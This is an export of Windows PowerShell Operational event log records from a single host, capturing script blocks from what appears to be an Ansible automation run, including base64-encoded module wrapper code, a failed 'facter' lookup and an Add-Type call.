FsdWUgLWFzIFtmbG9hdF0KICAgICAgICB9IGVsc2VpZiAoJHR5cGUgLWVxICJsaXN0IikgewogICAgICAgICAgICBpZiAoJHZhbHVlIC1pcyBbYXJyYXldKSB7CiAgICAgICAgICAgICAgICAjIE5vdGhpbmcgdG8gZG8KICAgICAgICAgICAgfSBlbHNlaWYgKCR2YWx1ZSAtaXMgW3N0cmluZ10pIHsKICAgICAgICAgICAgICAgICMgQ29udmVydCBzdHJpbmcgdHlwZSB0byByZWFsIFBvd2Vyc2hlbGwgYXJyYXkKICAgICAgICAgICAgICAgICR2YWx1ZSA9ICR2YWx1ZS5TcGxpdCgiLCIpLlRyaW0oKQogICAgICAgICAgICB9IGVsc2VpZiAoJHZhbHVlIC1pcyBbaW50XSkgewogICAgICAgICAgICAgICAgJHZhbHVlID0gQCgkdmFsdWUpCiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICBGYWlsLUpzb24gLW9iaiAkcmVzdWx0b2JqIC1tZXNzYWdlICJHZXQtQW5zaWJsZVBhcmFtOiBQYXJhbWV0ZXIgJyRuYW1lJyBpcyBub3QgYSBZQU1MIGxpc3QuIgogICAgICAgICAgICB9CiAgICAgICAgICAgICMgLCBpcyBub3QgYSB0eXBvLCBmb3JjZXMgaXQgdG8gcmV0dXJuIGFzIGEgbGlzdCB3aGVuIGl0IGlzIGVtcHR5IG9yIG9ubHkgaGFzIDEgZW50cnkKICAgICAgICAgICAgcmV0dXJuICwkdmFsdWUKIC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bGdvcml0aG0nIiB9CiAgICAgICAgfQoKICAgICAgICBJZiAoJFBTVmVyc2lvblRhYmxlLlBTVmVyc2lvbi5NYWpvciAtZ2UgNCkgewogICAgICAgICAgICAkcmF3X2hhc2ggPSBHZXQtRmlsZUhhc2ggJHBhdGggLUFsZ29yaXRobSAkYWxnb3JpdGhtCiAgICAgICAgICAgICRoYXNoID0gJHJhd19oYXNoLkhhc2guVG9Mb3dlcigpCiAgICAgICAgfSBFbHNlIHsKICAgICAgICAgICAgJGZwID0gW1N5c3RlbS5JTy5GaWxlXTo6T3BlbigkcGF0aCwgW1N5c3RlbS5JTy5GaWxlbW9kZV06Ok9wZW4sIFtTeXN0ZW0uSU8uRmlsZUFjY2Vzc106OlJlYWQsIFtTeXN0ZW0uSU8uRmlsZVNoYXJlXTo6UmVhZFdyaXRlKTsKICAgICAgICAgICAgJGhhc2ggPSBbU3lzdGVtLkJpdENvbnZlcnRlcl06OlRvU3RyaW5nKCRzcC5Db21wdXRlSGFzaCgkZnApKS5SZXBsYWNlKCItIiwgIiIpLlRvTG93ZXIoKTsKICAgICAgICAgICAgJGZwLkRpc3Bvc2UoKTsKICAgICAgICB9CiAgICB9CiAgICBFbHNlSWYgKFRlc3QtUGF0aCAtUGF0aCAkcGF0aCAtUGF0aFR5cGUgQ
ScriptBlock ID: fc8fb072-1400-4cde-87cf-4e9fd8e2793d
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1775 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4300 | 2816 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:15:59 AM | dfeadd90-ee34-0003-83f5-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Event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pYWJsZXMoJHZhbHVlKQogICAgfSBlbHNlIHsKICAgICAgICAkdmFsdWUKICAgIH0KfQoKRnVuY3Rpb24gR2V0LUFuc2libGVQYXJhbSgkb2JqLCAkbmFtZSwgJGRlZmF1bHQgPSAkbnVsbCwgJHJlc3VsdG9iaiA9IEB7fSwgJGZhaWxpZmVtcHR5ID0gJGZhbHNlLCAkZW1wdHlhdHRyaWJ1dGVmYWlsbWVzc2FnZSwgJFZhbGlkYXRlU2V0LCAkVmFsaWRhdGVTZXRFcnJvck1lc3NhZ2UsICR0eXBlID0gJG51bGwsICRhbGlhc2VzID0gQCgpKQp7C
ScriptBlock ID: fc8fb072-1400-4cde-87cf-4e9fd8e2793d
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1774 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4300 | 2816 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:15:59 AM | dfeadd90-ee34-0003-83f5-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (2 of 6):
ldExhc3RFcnJvciA9IHRydWUpXQogICAgICAgIHByaXZhdGUgc3RhdGljIGV4dGVybiBib29sIEdldEV4aXRDb2RlUHJvY2VzcygKICAgICAgICAgICAgSW50UHRyIGhQcm9jZXNzLAogICAgICAgICAgICBvdXQgdWludCBscEV4aXRDb2RlKTsKCiAgICAgICAgW0RsbEltcG9ydCgia2VybmVsMzIuZGxsIiwgU2V0TGFzdEVycm9yID0gdHJ1ZSwgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldCiAgICAgICAgcHVibGljIHN0YXRpYyBleHRlcm4gdWludCBTZWFyY2hQYXRoKAogICAgICAgICAgICBzdHJpbmcgbHBQYXRoLAogICAgICAgICAgICBzdHJpbmcgbHBGaWxlTmFtZSwKICAgICAgICAgICAgc3RyaW5nIGxwRXh0ZW5zaW9uLAogICAgICAgICAgICBpbnQgbkJ1ZmZlckxlbmd0aCwKICAgICAgICAgICAgW01hcnNoYWxBcyAoVW5tYW5hZ2VkVHlwZS5MUFRTdHIpXQogICAgICAgICAgICAgICAgU3RyaW5nQnVpbGRlciBscEJ1ZmZlciwKICAgICAgICAgICAgb3V0IEludFB0ciBscEZpbGVQYXJ0KTsKCiAgICAgICAgW0RsbEltcG9ydCgic2hlbGwzMi5kbGwiLCBTZXRMYXN0RXJyb3IgPSB0cnVlKV0KICAgICAgICBzdGF0aWMgZXh0ZXJuIEludFB0ciBDb21tYW5kTGluZVRvQXJndlcoCiAgICAgICAgICAgIFtNYXJzaGFsQXMoVW5tYW5hZ2VkVHlwZS5MUFdTdHIpXQogICAgICAgICAgICAgICAgc3RyaW5nIGxwQ21kTGluZSwKICAgICAgICAgICAgb3V0IGludCBwTnVtQXJncyk7CgogICAgICAgIHB1YmxpYyBzdGF0aWMgc3RyaW5nW10gUGFyc2VDb21tYW5kTGluZShzdHJpbmcgbHBDb21tYW5kTGluZSkKICAgICAgICB7CiAgICAgICAgICAgIGludCBudW1BcmdzOwogICAgICAgICAgICBJbnRQdHIgcmV0ID0gQ29tbWFuZExpbmVUb0FyZ3ZXKGxwQ29tbWFuZExpbmUsIG91dCBudW1BcmdzKTsKCiAgICAgICAgICAgIGlmIChyZXQgPT0gSW50UHRyLlplcm8pCiAgICAgICAgICAgICAgICB0aHJvdyBuZXcgV2luMzJFeGNlcHRpb24oIkVycm9yIHBhcnNpbmcgY29tbWFuZCBsaW5lIik7CgogICAgICAgICAgICBJbnRQdHJbXSBzdHJwdHJzID0gbmV3IEludFB0cltudW1BcmdzXTsKICAgICAgICAgICAgTWFyc2hhbC5Db3B5KHJldCwgc3RycHRycywgMCwgbnVtQXJncyk7CiAg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oIChEaWN0aW9uYXJ5RW50cnkga3YgaW4gZW52aXJvbm1lbnQpCiAgICAgICAgICAgICAgICAgICAgZW52aXJvbm1lbnRTdHJpbmcuQXBwZW5kRm9ybWF0KCJ7MH09ezF9XDAiLCBrdi5LZXksIGt2LlZhbHVlKTsKICAgICAgICAgICAgICAgIGVudmlyb25tZW50U3RyaW5nLkFwcGVuZCgnXDAnKTsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgLy8gQ3JlYXRlIHRoZSBlbnZpcm9ubWVudCBibG9jayBpZiBzZXQKICAgICAgICAgICAgSW50UHRyIGxwRW52aXJvbm1lbnQgPSBJbnRQdHIuWmVybzsKICAgICAgICAgICAgaWYgKGVudmlyb25tZW50U3RyaW5nICE9IG51bGwpCiAgICAgICAgICAgICAgICBscEVudmlyb25tZW50ID0gTWFyc2hhbC5TdHJpbmdUb0hHbG9iYWxVbmkoZW52aXJvbm1lbnRTdHJpbmcuVG9TdHJpbmcoKSk7CgogICAgICAgICAgICAvLyBDcmVhdGUgbmV3IHByb2Nlc3MgYW5kIHJ1bgogICAgICAgICAgICBTdHJpbmdCdWlsZGVyIGFyZ3VtZW50X3N0cmluZyA9IG5ldyBTdHJpbmdCdWlsZGVyKGxwQ29tbWFuZExpbmUpOwogICAgICAgICAgICBQUk9DRVNTX0lORk9STUFUSU9OIHBpID0gbmV3IFBST0NFU1NfSU5GT1JNQVRJT04oKTsKICAgICAgICAgICAgaWYgKCFDcmVhdGVQcm9jZXNzKAogICAgICAgICAgICAgICAgbHBBcHBsaWNhdGlvbk5hbWUsCiAgICAgICAgICAgICAgICBhcmd1bWVudF9zdHJpbmcsCiAgICAgICAgICAgICAgICBJbnRQdHIuWmVybywKICAgICAgICAgICAgICAgIEludFB0ci5aZXJvLAogICAgICAgICAgICAgICAgdHJ1ZSwKICAgICAgICAgICAgICAgIHN0YXJ0dXBfZmxhZ3MsCiAgICAgICAgICAgICAgICBscEVudmlyb25tZW50LAogICAgICAgICAgICAgICAgbHBDdXJ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yLCBvdXQgc3RkZXJyX3N0cik7CiAgICAgICAgICAgIHVpbnQgcmMgPSBHZXRQcm9jZXNzRXhpdENvZGUocGkuaFByb2Nlc3MpOwoKICAgICAgICAgICAgcmV0dXJuIG5ldyBDb21tYW5kUmVzdWx0CiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIFN0YW5kYXJkT3V0ID0gc3Rkb3V0X3N0ciwKICAgICAgICAgICAgICAgIFN0YW5kYXJkRXJyb3IgPSBzdGRlcnJfc3RyLAogICAgICAgICAgICAgICAgRXhpdENvZGUgPSByYwogICAgICAgICAgICB9OwogICAgICAgIH0KCiAgICAgICAgcHJpdmF0ZSBzdGF0aWMgdm9pZCBHZXRQcm9jZXNzT3V0cHV0KFN0cmVhbVJlYWRlciBzdGRvdXRTdHJlYW0sIFN0cmVhbVJlYWRlciBzdGRlcnJTdHJlYW0sIG91dCBzdHJpbmcgc3Rkb3V0LCBvdXQgc3RyaW5nIHN0ZGVycikKICAgICAgICB7CiAgICAgICAgICAgIHZhciBzb3dhaXQgPSBuZXcgRXZlbnRXYWl0SGFuZGxlKGZhbHNlLCBFdmVudFJlc2V0TW9kZS5NYW51YWxSZXNldCk7CiAgICAgICAgICAgIHZhciBzZXdhaXQgPSBuZXcgRXZlbnRXYWl0SGFuZGxlKGZhbHNlLCBFdmVudFJlc2V0TW9kZS5NYW51YWxSZXNldCk7CiAgICAgICAgICAgIHN0cmluZyBzbyA9IG51bGwsIHNlID0gbnVsbDsKICAgICAgICAgICAgVGhyZWFkUG9vbC5RdWV1ZVVzZXJXb3JrSXRlbSgocykgPT4KICAgICAgICAgICAgewogICAgICAgICAgICAgICAgc28gPSBzdGRvdXRTdHJlYW0uUmVhZFRvRW5kKCk7CiAgICAgICAgICAgICAgICBzb3dhaXQuU2V0KCk7CiAgICAgICAgICAgIH0pOwogICAgICAgICAgICBUaHJlYWRQb29sLlF1ZXVlVXNlcldvcmtJdGVtKChzKSA9PgogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBzZSA9IHN0ZGVyclN0cmVhbS5SZWFkVG9FbmQoKTsKICAgICAgICAgICAgICAgIHNld2FpdC5TZXQoKTsKICAgICAgICAgICAgfSk7CiAgICAgICAgICAgIGZvcmVhY2ggKHZhciB3aCBpbiBuZXcgV2FpdEhhbmRsZVtdIHsgc293YWl0LCBzZXdhaXQgfSkKICAgICAgICAgICAgICAgIHdoLldhaXRPbmUoKTsKICAgICAgICAgICAgc3Rkb3V0ID0gc287CiAgICAgICAgICAgIHN0ZGVyciA9IHNlOwogICAgICAgIH0KCiAgICAgICAgcHJpdmF0ZSBzdGF0aWMgdWludCBHZXRQcm9jZXNzRXhpdENvZGUoSW50UHRyIHByb2Nlc3NIYW5kbGUpCiAgICAgICAgewogICAgICAgICAgICBuZXcgTmF0aXZlV2FpdEhhbmRsZShwcm9jZXNzSGFuZGxlKS5XYWl0T25lKCk7CiAgICAgICAgICAgIHVpbnQgZXhpdENvZGU7CiAgICAgICAgICAgIGlmICghR2V0RXhpdENvZGVQcm9jZXNzKHByb2Nlc3NIYW5kbGUsIG91dCBleGl0Q29kZSkpCiAgICAgICAgICAgICAgICB0aHJvdyBuZXcgV2luMzJFeGNlcHRpb24oIkVycm9yIGdldHRpbmcgcHJvY2VzcyBleGl0IGNvZGUiKTsKICAgICAgICAgICAgcmV0dXJuIGV4aXRDb2RlOwogICAgICAgIH0KICAgIH0KfQo
ScriptBlock ID: fc8fb072-1400-4cde-87cf-4e9fd8e2793d
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1773 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4300 | 2816 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:15:59 AM | dfeadd90-ee34-0003-83f5-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 6):
begin {
$DebugPreference = "Continue"
$ErrorActionPreference = "Stop"
Set-StrictMode -Version 2
function ConvertTo-HashtableFromPsCustomObject ($myPsObject){
$output = @{};
$myPsObject | Get-Member -MemberType *Property | % {
$val = $myPsObject.($_.name);
If ($val -is [psobject]) {
$val = ConvertTo-HashtableFromPsCustomObject $val
}
$output.($_.name) = $val
}
return $output;
}
# stream JSON including become_pw, ps_module_payload, bin_module_payload, become_payload, write_payload_path, preserve directives
# exec runspace, capture output, cleanup, return module output
# NB: do not adjust the following line- it is replaced when doing non-streamed module output
$json_raw = @'
{"min_ps_version": null, "exec": "CkZ1bmN0aW9uIFJ1bigkcGF5bG9hZCkgewogICAgJGVudHJ5cG9pbnQgPSAkcGF5bG9hZC5tb2R1bGVfZW50cnkKCiAgICAkZW50cnlwb2ludCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJGVudHJ5cG9pbnQpKQoKICAgICRwcyA9IFtwb3dlcnNoZWxsXTo6Q3JlYXRlKCkKCiAgICAkcHMuQWRkU3RhdGVtZW50KCkuQWRkQ29tbWFuZCgiU2V0LVZhcmlhYmxlIikuQWRkUGFyYW1ldGVycyhAe1Njb3BlPSJnbG9iYWwiO05hbWU9ImNvbXBsZXhfYXJncyI7VmFsdWU9JHBheWxvYWQubW9kdWxlX2FyZ3N9KSB8IE91dC1OdWxsCiAgICAkcHMuQWRkQ29tbWFuZCgiT3V0LU51bGwiKSB8IE91dC1OdWxsCgogICAgIyByZWRlZmluZSBXcml0ZS1Ib3N0IHRvIGR1bXAgdG8gb3V0cHV0IGluc3RlYWQgb2YgZmFpbGluZy0gbG90cyBvZiBzY3JpcHRzIHVzZSBpdAogICAgJHBzLkFkZFN0YXRlbWVudCgpLk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yc2lvblRhYmxlLlBTVmVyc2lvbi5NYWpvciAtbHQgNCAtYW5kICRwcy5TdHJlYW1zLkVycm9yLkNvdW50IC1ndCAwKSkgewogICAgICAgICRob3N0LlVJLldyaXRlRXJyb3JMaW5lKCQoJHBzLlN0cmVhbXMuRXJyb3IgfCBPdXQtU3RyaW5nKSkKICAgICAgICAkZXhpdF9jb2RlID0gJHBzLlJ1bnNwYWNlLlNlc3Npb25TdGF0ZVByb3h5LkdldFZhcmlhYmxlKCJMQVNURVhJVENPREUiKQogICAgICAgIElmKC1ub3QgJGV4aXRfY29kZSkgewogICAgICAgICAgICAkZXhpdF9jb2RlID0gMQogICAgICAgIH0KICAgICAgICAjIG5lZWQgdG8gdXNlIHRoaXMgaW5zdGVhZCBvZiBFeGl0IGtleXdvcmQgdG8gcHJldmVudCBydW5zcGFjZSBmcm9tIGNyYXNoaW5nIHdpdGggZHluYW1pYyBtb2R1bGVzCiAgICAgICAgJGhvc3QuU2V0U2hvdWxkRXhpdCgkZXhpdF9jb2RlKQogICAgfQp9Cg==", "actions": ["exec"], "environment": {}, "min_os_version": null, "powershell_modules": {"Ansible.ModuleUtils.CommandUtil": "IyBDb3B5cmlnaHQgKGMpIDIwMTcgQW5zaWJsZSBQcm9qZWN0CiMgU2ltcGxpZmllZCBCU0QgTGljZW5zZSAoc2VlIGxpY2Vuc2VzL3NpbXBsaWZpZWRfYnNkLnR4dCBvciBodHRwczovL29wZW5zb3VyY2Uub3JnL2xpY2Vuc2VzL0JTRC0yLUNsYXVzZSkKCiRwcm9jZXNzX3V0aWwgPSBAIgp1c2luZyBNaWNyb3NvZnQuV2luMzIuU2FmZUhhbmRsZXM7CnVzaW5nIFN5c3RlbTsKdXNpbmcgU3lzdGVtLkNvbGxlY3Rpb25zOwp1c2luZyBTeXN0ZW0uSU87CnVzaW5nIFN5c3RlbS5MaW5xOwp1c2luZyBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXM7CnVzaW5nIFN5c3RlbS5UZXh0Owp1c2luZyBTeXN0ZW0uVGhyZWFkaW5nOwoKbmFtZXNwYWNlIEFuc2libGUKewogICAgW1N0cnVjdExheW91dChMYXlvdXRLaW5kLlNlcXVlbnRpYWwpXQogICAgcHVibGljIGNsYXNzIFNFQ1VSSVRZX0FUVFJJQlVURVMKICAgIHsKICAgICAgICBwdWJsaWMgaW50IG5MZW5ndGg7CiAgICAgICAgcHVibGljIEludFB0ciBscFNlY3VyaXR5RGVzY3JpcHRvcjsKICAgICAgICBwdWJsaWMgYm9vbCBiSW5oZXJpdEhhbmRsZSA9IGZhbHNlOwogICAgICAgIHB1YmxpYyBTRUNVUklUWV9BVFRSSUJVVEVTKCkKICAgICAgICB7CiAgICAgICAgICAgIG5MZW5ndGggPSBNYXJzaGFsLlNpemVPZih0aGlzKTsKICAgICAgICB9CiAgICB9CgogICAgW1N0cnVjdExheW91dChMYXlvdXRLaW5kLlNlcXVlbnRpYWwpXQogICAgcHVibGljIGNsYXNzIFNUQVJUVVBJTkZPCiAgICB7CiAgICAgICAgcHVibGljIEludDMyIGNiOwogICAgICAgIHB1YmxpYyBJbnRQdHIgbHBSZXNlcnZlZDsKICAgICAgICBwdWJsaWMgSW50UHRyIGxwRGVza3RvcDsKICAgICAgICBwdWJsaWMgSW50UHRyIGxwVGl0bGU7CiAgICAgICAgcHVibGljIEludDMyIGR3WDsKICAgICAgICBwdWJsaWMgSW50MzIgZHdZOwogICAgICAgIHB1YmxpYyBJbnQzMiBkd1hTaXplOwogICAgICAgIHB1YmxpYyBJbnQzMiBkd1lTaXplOwogICAgICAgIHB1YmxpYyBJbnQzMiBkd1hDb3VudENoYXJzOwogICAgICAgIHB1YmxpYyBJbnQzMiBkd1lDb3VudENoYXJzOwogICAgICAgIHB1YmxpYyBJbnQzMiBkd0ZpbGxBdHRyaWJ1dGU7CiAgICAgICAgcHVibGljIEludDMyIGR3RmxhZ3M7CiAgICAgICAgcHVibGljIEludDE2IHdTaG93V2luZG93OwogICAgICAgIHB1YmxpYyBJbnQxNiBjYlJlc2VydmVkMjsKICAgICAgICBwdWJsaWMgSW50UHRyIGxwUmVzZXJ2ZWQyOwogICAgICAgIHB1YmxpYyBTYWZlRmlsZUhhbmRsZSBoU3RkSW5wdXQ7CiAgICAgICAgcHVibGljIFNhZmVGaWxlSGFuZGxlIGhTdGRPdXRwdXQ7CiAgICAgICAgcHVibGljIFNhZmVGaWxlSGFuZGxlIGhTdGRFcnJvcjsKICAgICAgICBwdWJsaWMgU1RBUlRVUElORk8oKQogICAgICAgIHsKICAgICAgICAgICAgY2IgPSBNYXJzaGFsLlNpemVPZih0aGlzKTsKICAgICAgICB9CiAgICB9CgogICAgW1N0cnVjdExheW91dChMYXlvdXRLaW5kLlNlcXVlbnRpYWwpXQogICAgcHVibGljIGNsYXNzIFNUQVJUVVBJTkZPRVgKICAgIHsKICAgICAgICBwdWJsaWMgU1RBUlRVUElORk8gc3RhcnR1cEluZm87CiAgICAgICAgcHVibGljIEludFB0ciBscEF0dHJpYnV0ZUxpc3Q7CiAgICAgICAgcHVibGljIFNUQVJUVVBJTkZPRVgoKQogICAgICAgIHsKICAgICAgICAgICAgc3RhcnR1cEluZm8gPSBuZXcgU1RBUlRVUElORk8oKTsKICAgICAgICAgICAgc3RhcnR1cEluZm8uY2IgPSBNYXJzaGFsLlNpemVPZih0aGlzKTsKICAgICAgICB9CiAgICB9CgogICAgW1N0cnVjdExheW91dChMYXlvdXRLaW5kLlNlcXVlbnRpYWwpXQogICAgcHVibGljIHN0cnVjdCBQUk9DRVNTX0lORk9STUFUSU9OCiAgICB7CiAgICAgICAgcHVibGljIEludFB0ciBoUHJvY2VzczsKICAgICAgICBwdWJsaWMgSW50UHRyIGhUaHJlYWQ7CiAgICAgICAgcHVibGljIGludCBkd1Byb2Nlc3NJZDsKICAgICAgICBwdWJsaWMgaW50IGR3VGhyZWFkSWQ7CiAgICB9CgogICAgW0ZsYWdzXQogICAgcHVibGljIGVudW0gU3RhcnR1cEluZm9GbGFncyA6IHVpbnQ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cnR1cEluZm8sCiAgICAgICAgICAgIG91dCBQUk9DRVNTX0lORk9STUFUSU9OIGxwUHJvY2Vzc0luZm9ybWF0aW9uKTsKCiAgICAgICAgW0RsbEltcG9ydCgia2VybmVsMzIuZGxsIildCiAgICAgICAgcHVibGljIHN0YXRpYyBleHRlcm4gYm9vbCBDcmVhdGVQaXBlKAogICAgICAgICAgICBvdXQgU2FmZUZpbGVIYW5kbGUgaFJlYWRQaXBlLAogICAgICAgICAgICBvdXQgU2FmZUZpbGVIYW5kbGUgaFdyaXRlUGlwZSwKICAgICAgICAgICAgU0VDVVJJVFlfQVRUUklCVVRFUyBscFBpcGVBdHRyaWJ1dGVzLAogICAgICAgICAgICB1aW50IG5TaXplKTsKCiAgICAgICAgW0RsbEltcG9ydCgia2VybmVsMzIuZGxsIiwgU2V0TGFzdEVycm9yID0gdHJ1ZSldCiAgICAgICAgcHVibGljIHN0YXRpYyBleHRlcm4gYm9vbCBTZXRIYW5kbGVJbmZvcm1hdGlvbigKICAgICAgICAgICAgU2FmZUZpbGVIYW5kbGUgaE9iamVjdCwKICAgICAgICAgICAgSGFuZGxlRmxhZ3MgZHdNYXNrLAogICAgICAgICAgICBpbnQgZHdGbGFncyk7CgogICAgICAgIFtEbGxJbXBvcnQoImtlcm5lbDMyLmRsbCIsIFN
ScriptBlock ID: fc8fb072-1400-4cde-87cf-4e9fd8e2793d
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1772 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4300 | 2816 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:15:59 AM | dfeadd90-ee34-0003-83f5-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is ready for user input | 40962 | 1 | | 4 | 4 | 2 | 0 | 1771 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4300 | 3820 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:15:59 AM | dfeadd90-ee34-0000-87ed-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Stop | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Windows PowerShell has started an IPC listening thread on process: 4300 in AppDomain: DefaultAppDomain. | 53504 | 1 | | 4 | 111 | 10 | 0 | 1770 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4300 | 1156 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:15:59 AM | dfeadd90-ee34-0000-87ed-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Open (async) | PowerShell Named Pipe IPC | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is starting up | 40961 | 1 | | 4 | 4 | 1 | 0 | 1769 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4300 | 3820 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:15:59 AM | dfeadd90-ee34-0000-87ed-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Start | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
CommandInvocation(Add-Type): "Add-Type"
ParameterBinding(Add-Type): name="AssemblyName"; value="System.DirectoryServices.AccountManagement"
Context:
Severity = Informational
Host Name = Default Host
Host Version = 5.1.14393.1944
Host ID = c6343a6b-3d34-4a99-b0e6-7e0812478536
Host Application = PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -
Engine Version = 5.1.14393.1944
Runspace ID = 36fdb8da-7694-4e65-9643-2ae458263933
Pipeline ID = 5
Command Name = Add-Type
Command Type = Cmdlet
Script Name =
Command Path =
Sequence Number = 35
User = N-H1-758944-2\Admin
Connected User =
Shell ID = Microsoft.PowerShell
User Data:
| 4103 | 1 | | 4 | 106 | 20 | 0 | 1768 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 2860 | 1056 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:15:55 AM | dfeadd90-ee34-0001-8a2a-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | To be used when operation is just executing a method | Executing Pipeline | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
{ $_.$guid_key -eq $adapter.SettingID }
ScriptBlock ID: be7a4863-5d65-49a5-aee3-0091be74cfbd
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1767 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 2860 | 1056 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:15:55 AM | dfeadd90-ee34-0001-882a-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Error Message = The running command stopped because the preference variable "ErrorActionPreference" or common parameter is set to Stop: The term 'facter' is not recognized as the name of a cmdlet, function, script file, or operable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try again.
Fully Qualified Error ID = CommandNotFoundException,Microsoft.PowerShell.Commands.GetCommandCommand
Context:
Severity = Warning
Host Name = Default Host
Host Version = 5.1.14393.1944
Host ID = c6343a6b-3d34-4a99-b0e6-7e0812478536
Host Application = PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -
Engine Version = 5.1.14393.1944
Runspace ID = 36fdb8da-7694-4e65-9643-2ae458263933
Pipeline ID = 5
Command Name = Get-Command
Command Type = Cmdlet
Script Name =
Command Path =
Sequence Number = 33
User = N-H1-758944-2\Admin
Connected User =
Shell ID = Microsoft.PowerShell
User Data:
| 4100 | 1 | | 3 | 106 | 19 | 0 | 1766 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 2860 | 1056 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:15:54 AM | dfeadd90-ee34-0001-822a-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | To be used when an exception is raised | Executing Pipeline | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
#!powershell
# Copyright: (c) 2018, Ansible Project
